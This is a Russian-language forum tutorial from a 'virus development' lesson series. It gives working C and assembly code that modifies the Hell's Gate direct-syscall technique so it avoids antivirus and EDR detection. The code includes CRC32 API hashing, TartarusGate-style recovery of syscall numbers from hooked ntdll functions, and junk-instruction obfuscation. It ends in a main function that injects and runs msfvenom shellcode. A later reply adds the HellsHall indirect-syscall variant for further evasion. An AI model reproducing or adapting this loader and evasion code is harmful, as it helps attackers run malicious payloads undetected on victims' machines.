Уроки Разработка вирусов-32.Открываем врата ада


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 125
Репутация
8 243
1696695222815.png


В этих темах:


Мы обсуждали прямые системные вызовы для обхода хуков и детекта по поведению.

Мы там использовали вспомогательный инструмент Hell's Gate, предлагаю в этой статье модифицировать этот инструмент, что-бы избежать детект на сам инструмент.)

Обновления сделают реализацию более настраиваемой и, следовательно, более скрытной и уменьшат вероятность обнаружения на основе сигнатур. Кроме того, обновленный код изменит способ получения SSN системного вызова, используя

Если вам нужно восстановить информацию о первоначальной реализации Hell's Gate, посетите репозиторий

Обновление алгоритма хэширования строк

Первоначальная реализация Hell's Gate использовала алгоритм хэширования строк DJB2. Обновление алгоритма хэширования строк не влияет на реализацию Hell's Gate, но изменение алгоритма хэширования строк вероятно уменьшит вероятность обнаружения сигнатур. Функция djb2 заменяется следующей функцией.

C:
unsigned int crc32h(char* message) {
    int i, crc;
    unsigned int byte, c;
    const unsigned int g0 = SEED, g1 = g0 >> 1,
        g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
        g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;

    i = 0;
    crc = 0xFFFFFFFF;
    while ((byte = message[i]) != 0) {    // Получить следующий байт.
        crc = crc ^ byte;
        c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
            ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
            ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
            ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
        crc = ((unsigned)crc >> 8) ^ c;
        i = i + 1;
    }
    return ~crc;
}

Функция crc32h представляет собой реализацию алгоритма хэширования строк Cyclic Redundancy Check (CRC32) и будет использоваться в этом разделе. Для повышения читаемости и обслуживаемости кода функция crc32h будет вызываться через следующую макросовую инструкцию.

C:
#define HASH(API) crc32h((char*)API)

Где переменная API - это строка, которую необходимо хэшировать с использованием crc32h.

Обновление GetVxTableEntry

Создание структуры NTDLL_CONFIG


Напомним, что функция GetVxTableEntry используется для извлечения адреса и SSN (номера системного вызова) указанного системного вызова с использованием его хэш-значения. Функция GetVxTableEntry вычисляет необходимые RVAs (относительные адреса) для поиска указанного хэша и принимает два дополнительных параметра, pModuleBase и pImageExportDirectory, которые не связаны с ее назначением. Для улучшения эффективности создается структура NTDLL_CONFIG, которая представлена ниже.

C:
typedef struct _NTDLL_CONFIG
{
    PDWORD      pdwArrayOfAddresses; // VA массива адресов экспортируемых функций ntdll
    PDWORD      pdwArrayOfNames;     // VA массива имен экспортируемых функций ntdll
    PWORD       pwArrayOfOrdinals;   // VA массива порядковых номеров экспортируемых функций ntdll
    DWORD       dwNumberOfNames;     // количество экспортируемых функций из ntdll.dll
    ULONG_PTR   uModule;             // базовый адрес ntdll - необходим для вычисления будущих RVAs

} NTDLL_CONFIG, *PNTDLL_CONFIG;

// Глобальная переменная
NTDLL_CONFIG g_NtdllConf = { 0 };

Создание InitNtdllConfigStructure

Кроме того, создается приватная функция InitNtdllConfigStructure, которая вызывается функцией GetVxTableEntry для инициализации глобальной структуры g_NtdllConf. Это позволяет GetVxTableEntry обращаться к значениям из заголовков NTDLL без необходимости дополнительных параметров или вычислений каждый раз. В результате функция InitNtdllConfigStructure инициализирует структуру g_NtdllConf для будущего использования.

Функция InitNtdllConfigStructure получает базовый адрес NTDLL и выполняет разбор PE (Portable Executable) для извлечения структуры директории экспорта. Затем функция вычисляет необходимые RVAs для заполнения структуры g_NtdllConf необходимыми данными. Функция возвращает TRUE, если она успешно выполняет эти действия, и FALSE, если структура g_NtdllConf все еще содержит неинициализированные элементы.

C:
BOOL InitNtdllConfigStructure() {

    // Получение PEB (Process Environment Block)
    PPEB pPeb = (PPEB)__readgsqword(0x60);
    if (!pPeb || pPeb->OSMajorVersion != 0xA)
        return FALSE;

    // Получение модуля ntdll.dll
    PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

    // Получение базового адреса ntdll
    ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
    if (!uModule)
        return FALSE;

    // Получение заголовка DOS для ntdll
    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;

    // Получение заголовков NT для ntdll
    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;

    // Получение директории экспорта для ntdll
    PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    if (!pImgExpDir)
        return FALSE;

    // Инициализация элементов структуры 'g_NtdllConf'
    g_NtdllConf.uModule             = uModule;
    g_NtdllConf.dwNumberOfNames     = pImgExpDir->NumberOfNames;
    g_NtdllConf.pdwArrayOfNames     = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
    g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
    g_NtdllConf.pwArrayOfOrdinals   = (PWORD)(uModule  + pImgExpDir->AddressOfNameOrdinals);

    // Проверка
    if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals)
        return FALSE;
    else
        return TRUE;
}

Переименование и обновление GetVxTableEntry

GetVxTableEntry переименована в FetchNtSyscall и будет иметь два параметра: dwSysHash, хэш-значение указанного системного вызова для извлечения SSN, и pNtSys, указатель на структуру NT_SYSCALL, которая содержит всю необходимую информацию для выполнения прямого системного вызова. Эта структура будет инициализирована функцией FetchNtSyscall.

C:
typedef struct _NT_SYSCALL
{
    DWORD dwSSn;                    // номер системного вызова
    DWORD dwSyscallHash;            // хэш-значение системного вызова
    PVOID pSyscallAddress;          // адрес системного вызова

} NT_SYSCALL, *PNT_SYSCALL;

Функция FetchNtSyscall выполняет следующие действия:

Проверяет, инициализирована ли глобальная структура g_NtdllConf. Если нет, она вызывает InitNtdllConfigStructure для ее инициализации. Проверяет, указал ли пользователь хэш-значение, иначе возвращает FALSE. Инициирует цикл for для поиска указанного системного вызова по его хэш-значению. Когда системный вызов найден, он сохраняет его адрес в структуре pNtSys. Затем инициирует цикл while для поиска SSN системного вызова. Логика поиска такая же, как и в исходной реализации. Если SSN найден, он сохраняется в структуре pNtSys. Затем функция выходит из обоих циклов и выполняет окончательную проверку, чтобы убедиться, что все элементы структуры NT_SYSCALL инициализированы. Результат возвращается после этой проверки.

C:
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {

    // Инициализация конфигурации ntdll, если не найдена
    if (!g_NtdllConf.uModule) {
        if (!InitNtdllConfigStructure())
            return FALSE;
    }

    // Если не указано хэш-значение
    if (dwSysHash != NULL)
        pNtSys->dwSyscallHash = dwSysHash;
    else
        return FALSE;

    // Поиск 'dwSysHash' в экспортируемых функциях ntdll
    for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {

        PCHAR pcFuncName   = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
        PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);

        // Если системный вызов найден
        if (HASH(pcFuncName) == dwSysHash) {

            // Сохранение адреса
            pNtSys->pSyscallAddress = pFuncAddress;

            WORD cw = 0;

            // Поиск SSN
            while (TRUE) {

                // Достигли инструкции 'ret' - мы находимся далеко внизу
                if (*((PBYTE)pFuncAddress + cw) == 0xC3 && !pNtSys->dwSSn)
                    return FALSE;

                // Достигли инструкции 'syscall' - мы находимся далеко внизу
                if (*((PBYTE)pFuncAddress + cw) == 0x0F && *((PBYTE)pFuncAddress + cw + 1) == 0x05 && !pNtSys->dwSSn)
                    return FALSE;

                if (*((PBYTE)pFuncAddress + cw) == 0x4C
                    && *((PBYTE)pFuncAddress + 1 + cw) == 0x8B
                    && *((PBYTE)pFuncAddress + 2 + cw) == 0xD1
                    && *((PBYTE)pFuncAddress + 3 + cw) == 0xB8
                    && *((PBYTE)pFuncAddress + 6 + cw) == 0x00
                    && *((PBYTE)pFuncAddress + 7 + cw) == 0x00) {

                    BYTE high = *((PBYTE)pFuncAddress + 5 + cw);
                    BYTE low = *((PBYTE)pFuncAddress + 4 + cw);
                    // Сохранение SSN
                    pNtSys->dwSSn = (high << 8) | low;
                    break; // Выход из цикла while
                }

                cw++;
            }

            break; // Выход из цикла for
        }
    }

    // Проверка, инициализированы ли все элементы NT_SYSCALL (pNtSys)
    if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
        return TRUE;
    else
        return FALSE;
}

Улучшение логики извлечения SSN

Напомним, что при поиске SSN (номера системного вызова) Hell's Gate ограничивает границы поиска, проверяя наличие инструкций syscall или ret. Если одна из этих инструкций найдена, и SSN еще не был получен, то поиск завершается неудачей, что предотвращает извлечение неправильного значения SSN из другой функции системного вызова.

1696697742911.png


TartarusGate

В TartarusGate был представлен альтернативный способ поиска SSN, который иллюстрирован на изображении ниже.

1696697787553.png


Предположим, что вызов системного вызова B выполняется с использованием реализации Hell's Gate. В этом случае будет осуществляться поиск операций 0x4c, 0x8b, 0xd1, 0xb8, которые представляют собой инструкции mov r10, rcx и mov rcx, ssn. Но, как показано на изображении выше, таких операций нет, что означает, что реализация Hell's Gate не сможет получить SSN для системного вызова B.

TartarusGate использует соседние системные вызовы для вычисления SSN указанного системного вызова. Если TartarusGate ищет вверх, то SSN системного вызова B равен SSN системного вызова A - 1. С другой стороны, если TartarusGate ищет вниз, то SSN системного вызова B равен SSN системного вызова C + 1.

Обратите внимание, что путь поиска может распространяться за пределы непосредственно соседних системных вызовов. Например, если выполняется вызов системного вызова C, то SSN системного вызова C будет равен следующим возможным операциям:

Syscall A's SSN plus two
Syscall B's SSN plus one
Syscall D's SSN minus one
Syscall E's SSN minus two
Syscall F's SSN minus three

На изображении ниже это более наглядно иллюстрируется, где idx - это число для добавления или вычитания.

1696698143760.png


Обновление функции FetchNtSyscall

После понимания того, как работает TartarusGate, функция FetchNtSyscall обновляется для использования этой логики поиска. Некоторые аспекты обновленной функции FetchNtSyscall:

RANGE равен 255, представляя максимальное количество системных вызовов, чтобы двигаться вверх или вниз в памяти.

UP равно 32, что является размером системного вызова. Это используется при поиске вверх.
DOWN равно -32, что является отрицательным размером системного вызова. Это используется при поиске вниз.

Когда путь поиска направлен вверх, SSN указанного системного вызова вычисляется как (high << 8) | low + idx, где idx - это количество системных вызовов выше текущего системного вызова (адрес pFuncAddress). Когда путь поиска направлен вниз, SSN указанного системного вызова вычисляется как (high << 8) | low - idx, где idx - это количество системных вызовов ниже текущего системного вызова (адрес pFuncAddress).

C:
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {

    // Инициализация конфигурации ntdll, если не найдена
    if (!g_NtdllConf.uModule) {
        if (!InitNtdllConfigStructure())
            return FALSE;
    }

    if (dwSysHash != NULL)
        pNtSys->dwSyscallHash = dwSysHash;
    else
        return FALSE;

    for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++){

        PCHAR pcFuncName    = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
        PVOID pFuncAddress  = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);

        pNtSys->pSyscallAddress = pFuncAddress;

        // if syscall found
        if (HASH(pcFuncName) == dwSysHash) {

            if (*((PBYTE)pFuncAddress) == 0x4C
                && *((PBYTE)pFuncAddress + 1) == 0x8B
                && *((PBYTE)pFuncAddress + 2) == 0xD1
                && *((PBYTE)pFuncAddress + 3) == 0xB8
                && *((PBYTE)pFuncAddress + 6) == 0x00
                && *((PBYTE)pFuncAddress + 7) == 0x00) {

                BYTE high = *((PBYTE)pFuncAddress + 5);
                BYTE low  = *((PBYTE)pFuncAddress + 4);
                pNtSys->dwSSn = (high << 8) | low;
                break; // Выход из цикла for-loop [i]
            }

            // if hooked - scenario 1
            if (*((PBYTE)pFuncAddress) == 0xE9) {

                for (WORD idx = 1; idx <= RANGE; idx++) {
                    // check neighboring syscall down
                    if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
                        && *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
                        && *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
                        && *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
                        && *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
                        && *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {

                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
                        BYTE low  = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
                        pNtSys->dwSSn = (high << 8) | low - idx;
                        break; // Выход из цикла for-loop [idx]
                    }
                    // check neighboring syscall up
                    if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
                        && *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
                        && *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
                        && *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
                        && *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
                        && *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {

                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
                        BYTE low  = *((PBYTE)pFuncAddress + 4 + idx * UP);
                        pNtSys->dwSSn = (high << 8) | low + idx;
                        break; // Выход из цикла for-loop [idx]
                    }
                }
            }

            // if hooked - scenario 2
            if (*((PBYTE)pFuncAddress + 3) == 0xE9) {

                for (WORD idx = 1; idx <= RANGE; idx++) {
                    // check neighboring syscall down
                    if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
                        && *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
                        && *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
                        && *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
                        && *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
                        && *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {

                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
                        BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
                        pNtSys->dwSSn = (high << 8) | low - idx;
                        break; // Выход из цикла for-loop [idx]
                    }
                    // check neighboring syscall up
                    if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
                        && *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
                        && *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
                        && *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
                        && *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
                        && *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {

                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
                        BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
                        pNtSys->dwSSn = (high << 8) | low + idx;
                        break; // Выход из цикла for-loop [idx]
                    }
                }
            }

            break; // Выход из цикла for-loop [i]

        }

    }

    if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
        return TRUE;
    else
        return FALSE;
}

Обновление сборочных функций

Функции HellsGate и HellDescent, найденные в файле hellsgate.asm, будут заменены на SetSSn и RunSyscall соответственно. SetSSn требует SSN вызываемого системного вызова, а RunSyscall выполняет его.

В этих двух функциях не производятся крупные обновления, однако были добавлены дополнительные инструкции ассемблера, которые не влияют на выполнение программы, но добавляют обфускацию.

Обновление сборочных функций Функции HellsGate и HellDescent, найденные в файле hellsgate.asm, будут заменены на SetSSn и RunSyscall соответственно. SetSSn требует SSN вызываемого системного вызова, а RunSyscall выполняет его.

В этих двух функциях не производятся крупные обновления, однако были добавлены дополнительные инструкции ассемблера, которые не влияют на выполнение программы, но добавляют обфускацию.

Незатронутые сборочные функции

SetSSN и RunSyscall без лишних сборочных инструкций:

Код:
.data
    wSystemCall DWORD 0000h

.code

    SetSSn PROC
        mov wSystemCall, ecx
        ret
    SetSSn ENDP

    RunSyscall PROC
        mov r10, rcx
        mov eax, wSystemCall
        syscall
        ret
    RunSyscall ENDP

end

Сборочные функции с обфускацией

SetSSN и RunSyscall с добавленными сборочными инструкциями:

Код:
.data
    wSystemCall DWORD 0000h

.code

    SetSSn PROC
        xor eax, eax          ; eax = 0
        mov wSystemCall, eax  ; wSystemCall = 0
        mov eax, ecx          ; eax = ssn
        mov r8d, eax          ; r8d = eax = ssn
        mov wSystemCall, r8d  ; wSystemCall = r8d = eax = ssn
        ret
    SetSSn ENDP

    RunSyscall PROC
        xor r10, r10          ; r10 = 0
        mov rax, rcx          ; rax = rcx
        mov r10, rax          ; r10 = rax = rcx
        mov eax, wSystemCall  ; eax = ssn
        jmp Run                ; выполнить 'Run'
        xor eax, eax           ; не выполнится
        xor rcx, rcx           ; не выполнится
        shl r10, 2             ; не выполнится
    Run:
        syscall
        ret
    RunSyscall ENDP

end

Обновление главной функции

Создание структуры NTAPI_FUNC

Обновленная реализация Hell's Gate завершена.
Последний шаг - это тестирование реализации, которое требует главной функции. Для этого создается новая структура, которая заменяет VX_TABLE. Новая структура NTAPI_FUNC будет содержать информацию о системных вызовах. Хранение этой информации в структуре позволит вызывать системные вызовы несколько раз, когда они инициализируются как глобальная переменная.

Структура NTAPI_FUNC представлена ниже:
C:
typedef struct _NTAPI_FUNC
{
    NT_SYSCALL    NtAllocateVirtualMemory;
    NT_SYSCALL    NtProtectVirtualMemory;
    NT_SYSCALL    NtCreateThreadEx;
    NT_SYSCALL    NtWaitForSingleObject;

} NTAPI_FUNC, *PNTAPI_FUNC;

// глобальная переменная
NTAPI_FUNC g_Nt = { 0 };

Создание функции InitializeNtSyscalls

Для заполнения глобальной переменной g_Nt создается новая функция InitializeNtSyscalls, которая будет вызывать FetchNtSyscall для инициализации всех членов NTAPI_FUNC.

C:
BOOL InitializeNtSyscalls() {

    if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.NtAllocateVirtualMemory)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtAllocateVirtualMemory \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.2X \n", g_Nt.NtAllocateVirtualMemory.dwSSn);


    if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.NtProtectVirtualMemory)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtProtectVirtualMemory \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.2X \n", g_Nt.NtProtectVirtualMemory.dwSSn);


    if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.NtCreateThreadEx)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtCreateThreadEx \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n", g_Nt.NtCreateThreadEx.dwSSn);


    if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.NtWaitForSingleObject)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtWaitForSingleObject \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X \n", g_Nt.NtWaitForSingleObject.dwSSn);

    return TRUE;
}

NtAllocateVirtualMemory_CRC32, NtProtectVirtualMemory_CRC32, NtCreateThreadEx_CRC32 и NtWaitForSingleObject_CRC32 - это хэш-значения соответствующих системных вызовов.

Программа Hasher

Хэши системных вызовов генерируются с использованием программы Hasher, которая содержит функцию хеширования crc32h. Hasher печатает значения вывода функции crc32h.

C:
#include <Windows.h>
#include <stdio.h>

#define SEED 0xEDB88320
#define STR "_CRC32"

unsigned int crc32h(char* message) {
    int i, crc;
    unsigned int byte, c;
    const unsigned int g0 = SEED, g1 = g0 >> 1,
        g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
        g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;

    i = 0;
    crc = 0xFFFFFFFF;
    while ((byte = message[i]) != 0) {    // Get next byte.
        crc = crc ^ byte;
        c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
            ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
            ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
            ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
        crc = ((unsigned)crc >> 8) ^ c;
        i = i + 1;
    }
    return ~crc;
}

#define HASH(API) crc32h((char*)API)

int main() {
    printf("#define %s%s \t 0x%0.8X \n", "NtAllocateVirtualMemory", STR, HASH("NtAllocateVirtualMemory"));
    printf("#define %s%s \t 0x%0.8X \n", "NtProtectVirtualMemory", STR, HASH("NtProtectVirtualMemory"));
    printf("#define %s%s \t 0x%0.8X \n", "NtCreateThreadEx", STR, HASH("NtCreateThreadEx"));
    printf("#define %s%s \t 0x%0.8X \n", "NtWaitForSingleObject", STR, HASH("NtWaitForSingleObject"));
}

1696698839476.png


Главная функция

Сначала вызывается функция InitializeNtSyscalls, а затем вызываются системные вызовы для выполнения локальной инъекции кода с использованием shellcode из Msfvenom. Вызов системных вызовов выполняется с использованием сборочных функций SetSSn и RunSyscall, описанных ранее.

C:
int main() {

    NTSTATUS    STATUS      = NULL;
    PVOID       pAddress    = NULL;
    SIZE_T      sSize       = sizeof(Payload);
    DWORD       dwOld       = NULL;
    HANDLE      hProcess    = (HANDLE)-1,   // локальный процесс
                hThread     = NULL;

    // Инициализация используемых системных вызовов
    if (!InitializeNtSyscalls()) {
        printf("[!] Failed To Initialize The Specified Direct-Syscalls \n");
        return -1;
    }

    // Выделение памяти
    SetSSn(g_Nt.NtAllocateVirtualMemory.dwSSn);
    if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress == NULL) {
        printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }

    // Копирование полезной нагрузки
    memcpy(pAddress, Payload, sizeof(Payload));
    sSize = sizeof(Payload);

    // Изменение защиты памяти
    SetSSn(g_Nt.NtProtectVirtualMemory.dwSSn);
    if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize, PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
        printf("[!] NtProtectVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }

    // Выполнение полезной нагрузки
    SetSSn(g_Nt.NtCreateThreadEx.dwSSn);
    if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
        printf("[!] NtCreateThreadEx Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }

    // Ожидание выполнения полезной нагрузки
    SetSSn(g_Nt.NtWaitForSingleObject.dwSSn);
    if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
        printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }

    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;
}
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 125
Репутация
8 243
Ещё более улучшенную версию можно скачать здесь:

В этой версии убрана инструкция syscall, по наличию которой в коде может-быть детект.)

Как это работает

HellsHall будет искать инструкцию системного вызова около адреса функции системного вызова, а затем сохранит этот адрес инструкции системного вызова в глобальную переменную, к которой будет выполнен переход позднее, а не выполнение этой инструкции напрямую из asm-файла.

Это приведет к тому, что функция системного вызова будет выполнена из адресного пространства ntdll.dll.

1696700852642.png


Пример использования, в главной функции ( ):

C:
int main() {

    printf("[i] [HELL HALL] Press <Enter> To Run ... ");
    getchar();
 

    if (!Initialize())
        return -1;

    PVOID        pAddress    = NULL;
    SIZE_T        dwSize        = sizeof(rawData);
    DWORD        dwOld        = NULL;
    HANDLE        hThread        = NULL;
    NTSTATUS    STATUS        = NULL;


    SYSCALL(S.NtAllocateVirtualMemory);
    if ((STATUS = HellHall((HANDLE)-1, &pAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x0) {
        printf("[!] NtAllocateVirtualMemory Failed With Status : 0x%0.8X\n", STATUS);
        return -1;
    }
 
    printf("[+] [HELL HALL] pAddress : 0x%p \n", pAddress);


    memcpy(pAddress, rawData, sizeof(rawData));


    SYSCALL(S.NtProtectVirtualMemory);
    if ((STATUS = HellHall((HANDLE)-1, &pAddress, &dwSize, PAGE_EXECUTE_READ, &dwOld)) != 0x0) {
        printf("[!] NtProtectVirtualMemory Failed With Status : 0x%0.8X\n", STATUS);
        return -1;
    }

    SYSCALL(S.NtCreateThreadEx);
    if ((STATUS = HellHall(&hThread, 0x1FFFFF, NULL, (HANDLE)-1, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x0) {
        printf("[!] NtCreateThreadEx Failed With Status : 0x%0.8X\n", STATUS);
        return -1;
    }


    printf("[#] [HELL HALL] Press <Enter> To QUIT ... \n");
    getchar();
    return 0;
}

В целом алгоритм использования почти такой-же как описанный выше, но следующие отличия:

1)Алгоритм хеширования crc32b.
3)Вместо функции SetSSn макрос SYSCALL (Вызов немного другой, но по коду главной функции думаю понятно как )
2)Вместо функции RunSyscall функция HellHall
 
Последнее редактирование:
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ